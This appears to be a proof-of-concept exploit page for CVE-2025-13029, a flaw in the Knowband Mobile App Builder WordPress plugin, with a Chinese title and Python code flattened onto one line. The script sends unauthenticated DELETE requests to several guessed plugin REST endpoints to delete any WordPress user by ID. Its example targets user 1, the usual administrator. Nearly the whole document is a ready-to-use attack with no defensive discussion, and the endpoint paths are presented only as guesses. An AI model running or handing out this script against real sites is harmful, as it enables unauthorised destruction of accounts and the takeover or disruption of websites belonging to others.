CVE-2025-13029 Knowband Mobile App Builder WordPress插件未授权用户删除漏洞

import requests import json # CVE-2025-13029 PoC - Knowband Mobile App Builder Unauthenticated User Deletion # Target: WordPress site with Knowband Mobile App Builder plugin < 3.0.0 def delete_wordpress_user(target_url, user_id): """ Exploit for CVE-2025-13029 Deletes arbitrary WordPress users without authentication Args: target_url: Base URL of the WordPress site user_id: ID of the user to delete Returns: Response from the server """ # Common REST API endpoint paths for the plugin endpoints = [ '/wp-json/mobile-app-builder/v1/delete_user', '/wp-json/kb-mobile-app/v1/delete_user', '/?rest_route=/mobile-app-builder/v1/delete_user' ] payload = { 'user_id': user_id } for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f"[*] Trying endpoint: {url}") try: # Send DELETE request without authentication response = requests.delete(url, json=payload, timeout=10) if response.status_code == 200: print(f"[+] Success! User {user_id} deleted via {url}") return response.json() elif response.status_code == 401: print(f"[-] Endpoint requires authentication") else: print(f"[-] Unexpected response: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None # Example usage if __name__ == '__main__': # Replace with target URL target = 'https://example.com' # User ID to delete (typically 1 for admin) user_id = 1 result = delete_wordpress_user(target, user_id) if result: print(f"Response: {json.dumps(result, indent=2)}")